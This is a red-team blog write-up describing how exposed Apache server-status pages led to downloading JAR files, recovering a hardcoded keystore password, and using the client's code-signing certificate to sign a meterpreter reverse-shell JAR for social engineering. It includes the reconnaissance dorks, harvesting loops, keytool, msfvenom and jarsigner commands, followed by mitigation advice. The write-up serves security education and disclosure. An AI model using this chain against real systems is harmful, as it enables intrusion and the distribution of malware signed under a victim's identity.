During a recent Red-Team engagement, we discovered a series of information disclosures on a site allowing our team to go from zero access to full compromise in a matter of hours.
- Information disclosures in Apache HTTP servers with mod_status enabled allowed our team to discover.jar files, hosted on the site.
- Static values within exposed .jar files allowed our team to extract the client’s code signing certificate and sign malicious Java executables as the client.
- These malicious .jar files were used in a successful social engineering campaign against the client.
These typically overlooked, but easily mitigated vulnerabilities quickly turned into a path to full compromise. We won’t go into much detail about the steps taken after the initial compromise. We’ll save that for another blog.
Now for the fun stuff…
Apache mod_status is an Apache module allowing administrators to view quick status information by navigating to the /server-status page, i.e. https://www.apache.org/server-status. This isn’t necessarily a vulnerability on its own, but when implemented in public facing production environments, it can provide attackers a treasure-trove of useful information; especially when the ExtendedStatus option is configured.
During our OSINT phase of the engagement, we incorporate a series of Google Dorks, including searching for enabled mod_status:
site:<site> inurl:"server-status" intext:"Apache Server Status for"
Alternatively, given a range of IPs instead of a URL, you can use a Bash “for” loop, like the following, to search for /server-status pages:
for i in `cat IPs.txt`; do echo $i & curl -ksL -m2 https://$i/server-status | head -n 5 | grep "Status" ; done > output.txt
However, the loop above will query the server, making it NOT OpSec friendly. Use with caution if stealth is key on an engagement.
So why do we dork for server_status? Because among the valuable information disclosed such as server version, uptime, and process information, the ExtendedStatus option displays recent HTTP requests to the server. If recent requests contain authorization information, such as tokens, you can see why this page would be valuable to an attacker.
In a lot of cases this dork doesn’t come back with any results, but in this scenario, we found several systems with both mod_status and ExtendedStatus configured. What made this even more interesting, was that several HTTP requests were made for files with .jar extensions:
A quick test, using wget, shows this page is accessible without authenticating, and we grab the rt.jar file for further examination.
We wanted to examine all the jars; so, with a quick curl we were able to list all requests containing the .jar extension:
curl http://<site>/server-status | grep GET | cut -d “>” -f9 |cut -d “ “ -f2 |grep jar > jars.txt
Using a quick Bash “for” loop, we grabbed all the files using wget:
for I in `cat jars.txt` ; do wget http://127.0.0.1$i ; done
You can also navigate to the page and click all the links to download each file, but we were operating from a C2 server with no GUI, so Bash+Wget was necessary.
Java Static Values
After downloading the jars locally for examination, we used a Java decompiler to examine the code. Our preference is JD-Gui (https://github.com/java-decompiler/jd-gui), but there are plenty of other options out there for decompilers.
After examining the files, it was quickly apparent that several static values were used in the JARs, including passwords, UIDs, and local paths. The biggest finding however, was the Keystore password found in the POM.xml file located in the print.jar applet:
A Java Keystore is used to store authorization or encryption certificates in Java applications. These typically provide the applet with the ability to authenticate to a service or encryption over HTTPS.
The XML file in the screenshot above provided the Keystore name, alias, and password; all we needed to find the Keystore. Luckily the Keystore was stored in the rt.jar file that as also accessible without authentication, and in our possession.
We simply unzipped the rt.jar file to extract the AppletSigningKeystore2016.jks file:
Using the hardcoded Keystore password we discovered in the print.jar applet, we could decrypt the Keystore and export the code signing certificate.
keytool -exportcert -keystore AppletSigningKeystore2016.jks -alias JAR -file cert.der
Using OpenSSL, we converted the certificate to a human-readable .crt format:
openssl x509 -inform der -in cert.der -out cert.crt
Further digging in to the discovered jars indicated that the client used the certificate in the Keystore to sign other applets.
Creating Signed Malicious JARs
After determining the AppletSigningKeystore2016.jks Keystore contained the client’s code signing certificate, we shifted our efforts to creating a Java payload with a reverse shell. The payload we used was tailored to the client, but here’s an example of using msfvenom to create a simple JAR file with an embedded meterpreter shell:
msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o payload.jar
Using the Jarsigner application provided in Java’s JDK, we were then able to sign the payload with the AppletSigningKeystore2016.jks Keystore, containing the client’s code signing certificate:
jarsigner -keystore AppletSigningKeystore2016.jks /payload.jar JAR
This made it appear as if the client created the application themselves, thus increasing the likelihood that a user would execute the file and give us a shell:
So now we had a functioning payload, signed by the client, ready to use against their users. All it took was a little effort during the recon phase, an attention to detail, and a tiny bit of Java knowledge. In many cases, it’s easy overlook what would normally be considered a minor vulnerability, but in this case, not overlooking these tiny details lead to full compromise of the client’s network.
We won’t go in to any details about the social engineering campaign, because all it takes one user to click a link or run an executable, and it becomes an internal pentest. Let’s just say we got a few shells.
It’s also worth noting that malware developers are actively code-signing their malware with stolen certificates. Here’s a more recent example of a code-signing technique being utilized to spread malware: https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
There are a few things to take away from this as security professionals:
- Disable Apache Mod_Status in production servers.
- Where possible, utilize an authentication mechanism when hosting applets that contain sensitive functionality, i.e. make users login to download applets.
- Scrub the code of your applets to remove any potential information disclosures.
- Information on Apache Mod_Status Module
- Apache Mod-Status Module – Extended Status
- Apache Authentication and Authorization
- Java JDK
- Digital Ocean - Java Keytool Essentials: Working with Java Keystores
- Digital Ocean - OpenSSL Essentials: Working with SSL Certificates, Private Keys and CSRs